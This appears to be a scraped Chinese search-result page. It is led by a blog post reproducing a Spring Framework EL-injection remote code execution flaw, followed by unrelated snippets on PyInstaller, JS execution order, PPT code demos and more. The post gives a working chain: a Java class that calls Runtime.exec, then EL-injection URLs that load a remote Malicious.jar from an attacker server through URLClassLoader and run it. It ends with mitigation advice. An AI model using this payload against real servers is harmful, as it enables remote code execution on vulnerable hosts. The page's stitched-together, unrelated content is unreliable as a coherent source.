精华内容
下载资源
问答
  • spring框架远程代码执行漏洞

    千次阅读 2014-11-20 13:12:43
    Spring框架远程代码执行 0x01 概述 2012年12月国外研究者DanAmodio发表《Remote Code with Expression Language Injection》一文,指出Spring框架存在潜在的代码注入风险。在2013年1月,国内安全研究人员在...

    Spring框架远程代码执行

    0x01 概述

    2012年12月国外研究者DanAmodio发表《Remote Code with Expression Language Injection》一文,指出Spring框架存在潜在的代码注入风险。在2013年1月,国内安全研究人员在微博上分享了该篇文章的中文翻译内容。

    文章中指出Spring框架3.0.6以下版本,在一定的条件下,可以被攻击者利用,执行任意的java代码,从而威胁系统的安全性。而且这些存在潜在威胁的版本,在全球范围中已经下载超过131.4万,由此可见此问题影响极为广泛。

    我在这一周中针对文章中所提到的方法,进行了重现。本篇文章将向各位描述这个问题被触发所需要的条件,实现利用的细节,以及相关的一些防护方法。

    0x02 环境搭建

    先说下简单的测试代码吧,按照文章中所说的,在搭建好的Spring中添加一个jsp文件,其中包含如下代码:

    <%@page contentType="text/html;charset=GBK"%>
    <%@ taglib uri="/spring" prefix="spring"  %>
    <html>
    <head><title>利用Spring输出HelloWorld</title></head>
    <%
    String str = (String)request.getAttribute("helloWorld");
    %>
    <spring:message text="${param['message']}" code="${param['foo']}"></spring:message>
    <body>
    <font size=’22’><%=str%></font>
    </body>
    </html>    

    红色代码部分为测试的jsp代码。Spring的message标签的作用是,根据code取得消息资源,如果指定的code没有找到任何对应的消息资源,则采用text定义的内容。这里有一个比较奇怪的地方,文章中说在code属性处添加$param[‘message’]代码,通过访问http://target/file?message=${applicationScope}会在页面中打印出服务器环境的相关配置信息。但是,这个地方无论我用什么办法,都无法让它里面的内容显示出来。所以我不得不将测试的内容放到了text属性中(这两个属性都可以执行EL表达式)。

    这个问题虽然有些摸不到头脑,但还是可以接受的,毕竟还是有地方让我做测试。在测试后面的内容才是我噩梦真正的开始!

    在一开始测试时,我并没有按照作者所提供的Glassfish3.1.2.2+Spring3.0.6的环境测试,而是搭建Tomcat6.0+Spring3.0.2的环境。当我在这个环境中,想要通过java.lang.String类调用java方法时出现了问题,提示EL表达式错误。访问http://target/file? message= ${param.foo.replaceAll(“P”,“Q”)}&foo=PPPPP,错误显示如下图:

    1

    纠结了一天多的时间,各种搜索,只能搜索到各大网站对这篇文章的转载,没有一个具体分析的文章。在我就要崩溃的时候,发现了这样一句话“After some research, I learned that the EL 2.2 added support for method invocation.”。马上反应过来,这个特性应该是EL2.2新添加的,而Tomcat6.x是支持EL2.1的,然后果断的换成了支持EL2.2的Tomcat7.0。依旧访问那个url,结果如下图:

    2

    什么都没有!到底执行了没:(。又是崩溃了大半天,最后不得不乖乖的按照文章中环境进行搭建。这次终于成功了,不容易啊!

    3

    0x03 代码执行技术细节

    通过上一章最后测试的结果,我们不难看出,在一定的环境下,我们是可以通过EL表达式来调用java代码的。但是由于限制条件,我们能够做的事情也是很有限的。不过,DanAmodio和他的朋友在不断的努力下,终于找到了一个,可以使它执行任意代码的方法。

    他们想到通过java的反射机制,来动态的加载一些类和方法。但是,很多的强大的类(如:Runtime)的newinstance方法是不允许被调用的,没有办法对它们进行初始化,也就是说,不能直接的调用这些强大的类和方法。

    后来,他们发现了URLClassLoader这个类提供了newinstance这个方法。这个方法是可以动态加载远程代码的类,这样新的利用方法就出炉了! 首先在我们另一台服务器上放置编译如下代码的jar文件:

    public class Malicious {
        public Malicious() {
         try {
                      java.lang.Runtime.getRuntime().exec("calc.exe"); //Win
               } catch (Exception e) {
               }
        }
    }

    然后我们通过EL表达式创建一个数组(URLClassLoader的构造函数需要URL数组作为参数),存放在session中,url为http://target/file?message=${pageContext.request.getSession().setAttribute(“arr”,“”.getClass().forName(“java.util.ArrayList”).newInstance())}。

    下一步我们通过URI提供的create方法,可以创建一个URL实例,我们把这个实例保存在刚刚创建的数组中,url为http://target/file?message=${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://serverip/Malicious.jar”).toURL())}。

    Malicious.jar文件就是我们之前保存在另一台服务器中的jar文件。EL表达式中的PageContext类中getClassLoader方法得到的对象的父类便是URLClassLoader,所以,我们便可以调用newInstance方法了,url为http://target/file?message=${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance()}。

    来看下效果图吧,嘿嘿

    4

    0x04 总结

    1. 这个问题利用的环境,在目前看来是只有Glassfish3.1.2.2+Spring3.0.6及其之前版本环境可以实现。从理论上来看应该只要服务端支持EL2.2就可以实现,但是不知道什么原因Tomcat7.0虽然支持EL2.2,但是却没有得到我们预想中的效果。

    2. 在测试过程中,遇到了一个比较低级的错误,就是编译jar 的java版本与服务端的java版本不符,导致代码无法成功执行。

    3. 对于这种问题的防护,我们给出的建议是将Spring升级到3.1以上版本,因为这些新版本默认是将jsp的EL表达式支持关闭的。如果不能升级到3.0.6以上版本,请在web.xml中设置springJspExpressionSupport的参数为false,如下示例:

      <context-param>
      <description>Spring Expression Language Support</description>
      <param-name>springJspExpressionSupport</param-name>
      <param-value>false</param-value>
      </context-param>

    1. 另外即使你使用了Spring3.1以上版本,也要留心这个问题,因为它只是默认关闭了EL表达式的支持,而并不是修补了这个问题,不小心的配置很有可能会使这个问题死灰复燃的。

    2. 本篇文章中虽然没有在Tomcat环境中测试成功,但并不代码这个问题不会在这种环境中出现,我们会继续跟踪这个问题。

    展开全文
  • python代码直接生成可执行exe文件

    千次阅读 多人点赞 2019-11-11 19:11:02
    python中有一个很厉害的库可以直接将写好的python代码打包成可执行的.exe文件,生成好的文件不需要python运行环境和pycharm等IDE就可以直接双击运行,是不是很厉害呢!这样你就可以开发一些简单的小游戏直接发给你的...

    前言:

    python中有一个很厉害的库可以直接将写好的python代码打包成可执行的.exe文件,生成好的文件不需要python运行环境和pycharm等IDE就可以直接双击运行,是不是很厉害呢!这样你就可以开发一些简单的小游戏直接发给你的小伙伴们就可以玩了,你的小伙伴一定会对你刮目相看。也可以写一段告白代码发给你的女朋友,你的女朋友肯定会觉得你很厉害,不就水到渠成了嘛!哈哈。

     
     
    在这里插入图片描述
     
     

    1.首先安裝 pyinstaller 库:

     

    pip install pyinstaller
    

     

    2.:在已经创建好的项目下输入以下命令:love.py是项目名称

     

    pyinstaller -F love.py
    

     
    在这里插入图片描述
     
     

    3.这时你会发现会生成3个文件:build,dist和love.spec,dist文件夹下就会有love.exe可执行文件,这样就打包好了。

     
     
    在这里插入图片描述
     
     

    4.上面方法生成的项目文件没有指定图标,默认图标不是很好看,我们可以自己去DIY一个漂亮自己又喜欢的图标。我们在百度上搜 ‘阿里矢量图’,里面就可以找到很多自己喜欢得图标。

     
     
    在这里插入图片描述
     
     

    5.下载好的图片是png格式的,我们需要转换一下格式,转换成ico格式的,在网上搜在线格式转换工具:链接如下,大小16*16就可以了

    https://www.easyicon.net/covert/

     
    在这里插入图片描述
     
     

    6.将转换好格式的图片放在项目文件夹下,输入如下命令:

     

    pyinstaller -F -i lover.ico love.py
    

     
     
    在这里插入图片描述
     
     

    7.这样就大功告成了,生成了带图标的可执行项目,效果如下:记得点个赞哦!!!

     
     

    在这里插入图片描述

    展开全文
  • js代码执行顺序

    千次阅读 2016-01-05 13:41:43
    JavaScript是一种描述型脚本语言,它不同于java或C#等编译性语言,它不需要进行编译成中间语言,而是由浏览器进行动态地解析与执行。如果你不能理解javaScript语言的运行机制,或者简单地说,你不能掌握javascript的...

    文章内容由http://www.2cto.com/kf/201401/273825.htmlhttp://www.cnblogs.com/rubylouvre/archive/2009/08/21/1551270.html内容整合而成

    JavaScript是一种描述型脚本语言,它不同于java或C#等编译性语言,它不需要进行编译成中间语言,而是由浏览器进行动态地解析与执行。如果你不能理解javaScript语言的运行机制,或者简单地说,你不能掌握javascript的执行顺序,那你就犹如伯乐驾驭不了千里马,让千里马脱缰而出,四处乱窜。

    那么JavaScript是怎么来进行解析的吗?它的执行顺序又是如何的呢?在了解这些之前,我们先来认识几个重要的术语:

    1、代码块

    <script type="text/javascript">
          alert("这是代码块一");
    </script>
    <script type="text/javascript">
          alert("这是代码块二");
    </script>

    JS是按照代码块来进行编译和执行的,代码块间相互独立,但变量和方法共享。什么意思呢? 举个例子,你就明白了:
    <script type="text/javascript">
          alert(str);//因为没有定义str,所以浏览器会出错,下面的不能运行
          alert("我是代码块一");//没有运行到这里
          var test = "我是代码块一变量";
    </script>
    <script type="text/javascript">
          alert("我是代码块二"); //这里有运行到
          alert(test); //弹出"我是代码块一变量"
    </script>

    上面的代码中代码块一中运行报错,但不影响代码块二的执行,这就是代码块间的独立性,而代码块二中能调用到代码一中的变量,则是块间共享性。

    2、声明式函数与赋值式函数

    JS中的函数定义分为两种:声明式函数与赋值式函数。
    <script type="text/javascript">
         function Fn(){ //声明式函数
                 
         }
             
         var Fn = function{  //赋值式函数
                 
         }
    </script>
    声明式函数与赋值式函数的区别在于:在JS的预编译期,声明式函数将会先被提取出来,然后才按顺序执行js代码。

    3、预编译期与执行期

    事实上,JS的解析过程分为两个阶段:预编译期(预处理)与执行期。
    预编译期JS会对本代码块中的所有声明的变量和函数进行处理(类似与C语言的编译),但需要注意的是此时处理函数的只是声明式函数,而且变量也只是进行了声明但未进行初始化以及赋值(即只是分配了内存)。
    举个例子:
    <script type="text/javascript">  
    var a=100;  
    var b=true;  
    function test(){  
        alert(a);  
        alert(b);  
        b=false;  
        alert(b);  
        var a=200;  
        alert(a/2);  
        alert(++Math.PI);  
        alert(Math.PI++);  
    }  
    test();
    </script>
    
    这段代码执行后的效果就是首先弹出undefined、然后弹出true,接着再弹出其他,也就是说,第一行alert(a)执行时,a并未赋值,而b已被赋值为了true。这是为什么?涉及到两个知识点:
    1、变量的作用域
    2、js代码的执行顺序
    首先,js要预编译,预编译的过程中,为每个变量分配了内存。

    第二步,按照代码的顺序执行代码:
    第一行,为全局变量a赋值
    第二行为局部变量b赋值
    第三行进入了函数test,则由于局部变量会在函数内部覆盖同名的全局变量,故此时的状态便是a未赋值,b的值为true
    第四行,弹出a值,此时未赋值的a当然要弹出undefined啦。

    注意,当我们仅仅定义了函数,而未调用时,函数只是被声明而已,并不执行,比如以下代码:
    function loadEvent(){
     var a=5;
     var b=10;
    a=[a,b];
    b=a[0];
    a=a[1];
    alert("a:"+a+",b:"+b);
     }
       
    </script>
    </head>
    <body >
     
    <div id="divTest">
    	
    </div>
    	<button aa="aaa" click="noRepeat">delete</button >
    
    </body>
    </html>
    

    </pre><div>由于并未调用loadEvent函数,网页上并无弹出的效果,只有当我们调用了函数,比如:</div><div><pre class="html" name="code"><body οnlοad="loadEvent()">
    
    	<div id="divTest">
    
    	</div>
    		<button aa="aaa" click="noRepeat">delete</button >
    
    	</body>


    此时才会在浏览器上显示弹出效果。
    现在,让我们来总结整理下:


    step 1. 读入第一个代码块。


    step 2. 做语法分析,有错则报语法错误(比如括号不匹配等),并跳转到step5。


    step 3. 对var变量和function定义做“预编译处理”(永远不会报错的,因为只解析正确的声明)。


    step 4. 执行代码段,有错则报错(比如变量未定义)。


    step 5. 如果还有下一个代码段,则读入下一个代码段,重复step2。


    step6. 结束。
    而根据HTML文档流的执行顺序,需要在页面元素渲染前执行的js代码应该放在前面的<script>代码块中,而需要在页面元素加载完后的js放在元素后面,body标签的onload事件是在最后执行的。


    
    展开全文
  • 代码执行演示嵌在你的PPT中

    万次阅读 2017-09-07 09:43:11
    当一个程序员在做技术分享的时候, 代码演示经常是不可或缺的一个环节。然而在你的演示PPT和代码运行之间切换是一件非常恼人事情,而且非常影响演示的节奏和流畅性。要做一个完美的技术分享,能不能把代码的运行嵌入...

    “Talk is cheap, show me your code!”

    当一个程序员在做技术分享的时候, 代码演示经常是不可或缺的一个环节。然而在你的演示PPT和代码运行之间切换是一件非常恼人事情,而且非常影响演示的节奏和流畅性。要做一个完美的技术分享,能不能把代码的运行嵌入到PPT中呢?

    当然可以,我前不久在公司内部分享了一起关于Python的小谜题,大家可以到斗鱼去观看这次分享的视频录播 (很糟糕的是在36分钟后,摄像头偏移了,拍了大半天挂钟)

    为了实现代码嵌入ppt,我用到的关键技术包括:

    首先,演示常用的是微软的PowerPoint(至于苹果的Keynote,我暂时还没有找到解决方案),所以你需要安装PowerPoint,在最新的Office套件中,微软提供了一个Webview的插件,有了这个插件,可以直接把一个Web页面,嵌入到Office文档中,自然也就包含了PPT。

    注意,为了安全性的考虑,嵌入的web页面必须是https的。

    好了有了这个,我们就可以把一个代码运行的web页面直接嵌入到演示文档中,剩下的事情,就是做一个可以运行不同代码的Web应用了。

    Glot 是一个开源的在线代码运行平台。其架构如下图所示。

    利用Glot的代码运行的核心功能,我们就可以很方便的开发一个可以运行各种代码的web应用。

    利用容器,我们可以把整个应用分为以下的几个层次:

    • Base
      提供基本的代码运行的环境,包含了代码执行的必要的解释器和编译器。在本次演示中,我使用了golang:latest,但是碰巧的是这个镜像是拥有Python的解释器的,我的代码演示都是python,省去了我安装Python的步骤。如果是别的不同的语言的演示,注意安装对应的环境。
    • Code Runner https://github.com/gangtao/code_runner
      我的Code Runner是对Glot的Code Runner的一个增强,该项目提供一个运行代码的服务。
      项目的Dockerfile:
      FROM golang:latest
      
      MAINTAINER gangtao@outlook.com
      
      ENV GOPATH=/home/glot
      ENV GOROOT=/usr/local/go
      
      # Add user
      RUN groupadd glot
      RUN useradd -m -d /home/glot -g glot -s /bin/bash glot
      
      # Copy files
      Add ./build/release/server /home/glot/
      # Add ./vendor/. /home/glot/src
      
      USER glot
      WORKDIR /home/glot/
      
      # generate certificate
      RUN go run $GOROOT/src/crypto/tls/generate_cert.go --host localhost
      
      EXPOSE 8080
      
      # CMD ["/home/glot/runner"]
      ENTRYPOINT ["/home/glot/server"]
      通过Dockerfile我们可以看出该项目主要的内容:利用Glot实现代码运行,产生证书用于https,利用echo实现web 服务。
      Web服务的代码如下:
      package code_runner
      
      import (
      	"fmt"
      	"github.com/prasmussen/glot-code-runner/cmd"
      	"github.com/prasmussen/glot-code-runner/language"
      	"io/ioutil"
      	"os"
      	"path/filepath"
      )
      
      type Payload struct {
      	Language string          `json:"language"`
      	Files    []*InMemoryFile `json:"files"`
      	Stdin    string          `json:"stdin"`
      	Command  string          `json:"command"`
      }
      
      type InMemoryFile struct {
      	Name    string `json:"name"`
      	Content string `json:"content"`
      }
      
      type Result struct {
      	Stdout string `json:"stdout"`
      	Stderr string `json:"stderr"`
      	Error  string `json:"error"`
      }
      
      func Run(payload *Payload) *Result {
      	// Ensure that we have at least one file
      	if len(payload.Files) == 0 {
      		exitF("No files given\n")
      	}
      
      	// Check if we support given language
      	if !language.IsSupported(payload.Language) {
      		exitF("Language '%s' is not supported\n", payload.Language)
      	}
      
      	// Write files to disk
      	filepaths, err := writeFiles(payload.Files)
      	if err != nil {
      		exitF("Failed to write file to disk (%s)", err.Error())
      	}
      
      	var stdout, stderr string
      
      	// Execute the given command or run the code with
      	// the language runner if no command is given
      	if payload.Command == "" {
      		stdout, stderr, err = language.Run(payload.Language, filepaths, payload.Stdin)
      	} else {
      		workDir := filepath.Dir(filepaths[0])
      		stdout, stderr, err = cmd.RunBashStdin(workDir, payload.Command, payload.Stdin)
      	}
      
      	result := &Result{
      		Stdout: stdout,
      		Stderr: stderr,
      		Error:  errToStr(err),
      	}
      
      	return result
      }
      
      // Writes files to disk, returns list of absolute filepaths
      func writeFiles(files []*InMemoryFile) ([]string, error) {
      	// Create temp dir
      	tmpPath, err := ioutil.TempDir("", "")
      	if err != nil {
      		return nil, err
      	}
      
      	paths := make([]string, len(files), len(files))
      	for i, file := range files {
      		path, err := writeFile(tmpPath, file)
      		if err != nil {
      			return nil, err
      		}
      
      		paths[i] = path
      
      	}
      	return paths, nil
      }
      
      // Writes a single file to disk
      func writeFile(basePath string, file *InMemoryFile) (string, error) {
      	// Get absolute path to file inside basePath
      	absPath := filepath.Join(basePath, file.Name)
      
      	// Create all parent dirs
      	err := os.MkdirAll(filepath.Dir(absPath), 0775)
      	if err != nil {
      		return "", err
      	}
      
      	// Write file to disk
      	err = ioutil.WriteFile(absPath, []byte(file.Content), 0664)
      	if err != nil {
      		return "", err
      	}
      
      	// Return absolute path to file
      	return absPath, nil
      }
      
      func exitF(format string, a ...interface{}) {
      	fmt.Fprintf(os.Stderr, format, a...)
      	os.Exit(1)
      }
      
      func errToStr(err error) string {
      	if err != nil {
      		return err.Error()
      	}
      
      	return ""
      }

      可以通过容器方便的启动该服务,然后就可以通过Rest请求,执行Python(Golang)的代码。
    • curl \
        -X POST \
        http://localhost:8080/run \
        -H 'Content-Type: application/json' \
        -d '{"language":"python","files":[{"name":"main.py","content":"print(42)"}]}'
      
      {"stdout":"42\n","stderr":"","error":""}

      在这个项目中,我用了echo来实现一个轻量级的Web服务,而没有使用Glot自带的基于Ruby的服务,这样做的好处是技术栈的统一,因为echo和glot的核心都是用的Golang。

    • Code Runner Web https://github.com/gangtao/code_runner_web
      有了服务,下面就是前端的UI了。
      UI使用了codemirror来做编辑器。Dockerfile如下:
      FROM naughtytao/code_runner
      
      MAINTAINER gangtao@outlook.com
      
      Add ./static /home/glot/static

      运行Code Runner Web后,就可以在以下的web界面中输入你想要运行的结果,并实时的显示想要运行的结果了。

    好了,剩下的还有一些事情要做,就是准备你的演示代码,大家可以参考这个项目,这里缺省是将所有的代码片段放在code/python/ 目录下。运行:http://localhost:8080/#2 就会加载第二个代码片段。

    这个是嵌入后的效果:

    好了,是不是很Coooooool呢?

    另外利用容器来构建应用真的非常非常方便。

    展开全文
  • ajax实例代码效果

    千次阅读 2016-11-24 06:27:06
    ps:不足之处,请大家多多指教 以下html文件都要服务器环境下打开。<!DOCTYPE html> <title>ceshi <script type="text/javascript" src="ajax.js"></script> <body>
  • 在textarea文本域中输入JS代码执行

    千次阅读 2019-07-14 10:56:05
    最近做了一个JS在线练习页面,要求在一个编辑框中输入代码执行并呈现结果。 制作过程中发现了以下问题: 1、如果输入的代码中使用了 document.write() 输出结果,执行后会清空当前页面。 解决方法:用写入...
  • 86-中间代码opcode的执行

    千次阅读 2016-04-28 22:00:15
    86-中间代码opcode的执行假如我们现在使用的是CLI模式,直接在SAPI/cli/php_cli.c文件中找到main 函数, 默认情况下PHP的CLI模式的行为模式PHP_MODE_STANDARD。 此行为模式中PHP内核会调用php_execute_script(&...
  • 在Winform中执行以下代码,首先会弹出网页对话框“hello webbrowser”,然后是Winform的MessageBox对话框“hi, i am javascript”   MessageBox.Show(webBrowser1.Document.InvokeScript( " sayHello " , new ...
  • 博文作者:金刚项目团队发布日期:2014-09-01阅读次数:100博文内容:u 漏洞背景 国外安全机构BlueBox在2014年7月30日公布了一个关于APK签名的漏洞——FakeID,攻击者可利用该漏洞实现代码注入,执行恶意操作。...
  • js点击图片放大效果ImageZoom代码下载

    千次阅读 2016-06-01 09:27:27
    js点击图片放大效果ImageZoom代码下载 源代码下载地址:http://www.zuidaima.com/share/1795739673906176.htm
  • Oracle官方发布了4月份的关键补丁更新CPU(Critical Patch Update),其中包含一个高危的远程代码执行漏洞(CVE-2018-2628),通过该漏...
  • 注入代码需要什么向elf中注入代码为patch带来了极高的灵活性,使得对函数进行hook从而达到更改参数,在线更改值以及监视函数执行等一系列 行为提供了可能。可是向segment中注入代码并不如想象的那么简单,有一些...
  • HTML网页中插入输入框,输入框内容或代码可点击"运行代码"运行,在浏览器看到运行输入框内代码效果。此HTML代码由表单代码textarea和简单JS代码实现。 HTML代码: textarea name="textarea" cols="60" rows=...
  • Image Matting代码和算法效果总结

    万次阅读 多人点赞 2018-08-20 16:36:06
    作者给出了大部分matting-code的链接,说明也比较细致、系统,在这里向作者表示由衷地感谢!以下是博客的原文: 肖总博客:http://39.108.216.13:8090/display/~xiaozhenzhong/Image-Matting+and+Ba...
  • 利用本地包含漏洞执行任意代码

    万次阅读 2015-04-13 20:49:08
    >.php时,在 后面紧跟着一个空格,这个空格如果被转义成%20就会导致php代码执行失败,有时候写进access.log文件里的还可能是将两个尖括号也转义了的。在实际测试中,用火狐、IE8都会转义,但是IE6不会转义。对于...
  • 页面中有一个webView显示后台返回的富文本数据,富文本数据是一串html代码,但是并没有&lt;html&gt;&lt;body&gt;这些标签,webView不做任何处理,使用 webView.loadData(html, "...js代码如...
  • 前两天下了个最新版的Visual Studio Code,执行Python的时候输出中文会有乱码。找了几小时的按照网上的教程,都不适用,因为版本改了,配置方式也不单纯是json,我从官网下载的VS Code时间是2019-06-29,版本信息是...
  • 代码的写法

    万次阅读 多人点赞 2016-12-09 14:24:06
    代码(Pseudocode)是一种算法描述语言。使用伪代码的目的是为了使被描述的算法可以容易地以任何一种编程语言(Pascal,C,Java,etc)实现。因此,伪代码必须结构清晰、代码简单、可读性好,并且类似自然语言。 ...
  • IE8及以下IE浏览器支持canvas效果

    千次阅读 2015-11-13 16:47:22
    在页面的head标签中添加以下代码: 这个是为了让IE8及以下IE浏览器认识h5新增的标签。 在页面的body标签下面添加以下代码: ... 把这个js脚本添加到最下面,是防止页面未加载完成页面就开始执行脚本。...
  • 恶意代码分析实战

    千次阅读 2014-05-28 13:29:14
    恶意代码分析实战(最权威的恶意代码分析指南,理论实践分析并重,业内人手一册的宝典) 【美】Michael Sikorski(迈克尔.斯科尔斯基), Andrew Honig(安德鲁.哈尼克)著  诸葛建伟 姜辉 张光凯 译 ISBN 978-7-...
  • Android 代码检查工具SonarQube

    万次阅读 2014-12-26 14:51:03
    代码检查工具能帮我们检查一些隐藏的bug,代码检查工具中sonar是比较好的一个。官网Sonar 概述 Sonar 是一个用于代码质量管理的开放平台。通过插件机制,Sonar 可以集成不同的测试工具,代码分析工具,以及持续集成...
  • html网页详细代码

    万次阅读 多人点赞 2016-07-07 12:03:28
    html网页代码大全 1)贴图: 2)加入连接:写上你想写的字 3)在新窗口打开连接:写上要写... 这一段代码可以加入HTML的任意位置,和之间可以,间也可以,越前越早执行,尤其是页面代码长,又想使页面早点弹出就尽量往前放...
  • springboot与普通springmvc项目的不同在于springboot有自己的默认的springmvc配置,比如WebMvcAutoConfigurationAdapter等,下面看下相关部分核心代码: WebMvcConfigurationSupport类的 protected final void ...
  • PHP 开发者如何做代码审查?

    千次阅读 2017-09-21 13:31:57
    我们做代码审计之前选好工具也是十分必要的。下面我给大家介绍两款代码审计中比较好用的工具。一、审计工具介绍PHP 代码审计系统— RIPS功能介绍RIPS是一款基于PHP开发的针对PHP代码安全审计的软件。另外,
  • 比如说,一个函数会执行多次,你每次都把绑定了click事件,那么他就会累加 点一次相当于点了好几次 还有就是对于动态生成的html如果append到某个div上面 原有的绑定的click事件是不生效的 需要重新绑定 比如我...
  • 这个时候,如何高效的读懂别人代码逻辑,如何从几十万乃至上百万行代码中找到自己需要的逻辑显得尤重要。  以下笔者结合自己的近来的经验就Windows源码分析做下解读。 一、了解Windows的代码特点  相比于Linux...
  • 代码规范

    千次阅读 多人点赞 2019-05-09 20:10:58
    原文链接:https://www.cnblogs.com/huipengkankan/archive/2011/07/28/2120416.html伪代码(Pseudocode)是一种算法描述语言。...因此,伪代码必须结构清晰、代码简单、可读性好,并且类似自然语...
  • 导入后需要修改ndk路径,在app/build.gradle里,把下面代码中两处红色字体部分的ndk路径修改自己的路径: task buildNative( type : Exec, description : 'Compile JNI source via NDK' ) { commandLine " /...
  • hive语句执行顺序msyql语句执行顺序代码写的顺序:select ... from... where.... group by... having... order by.. 或者 from ... select ... 代码执行顺序:from... where...group by... having.... select .....

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 444,340
精华内容 177,736
关键字:

以下代码执行效果为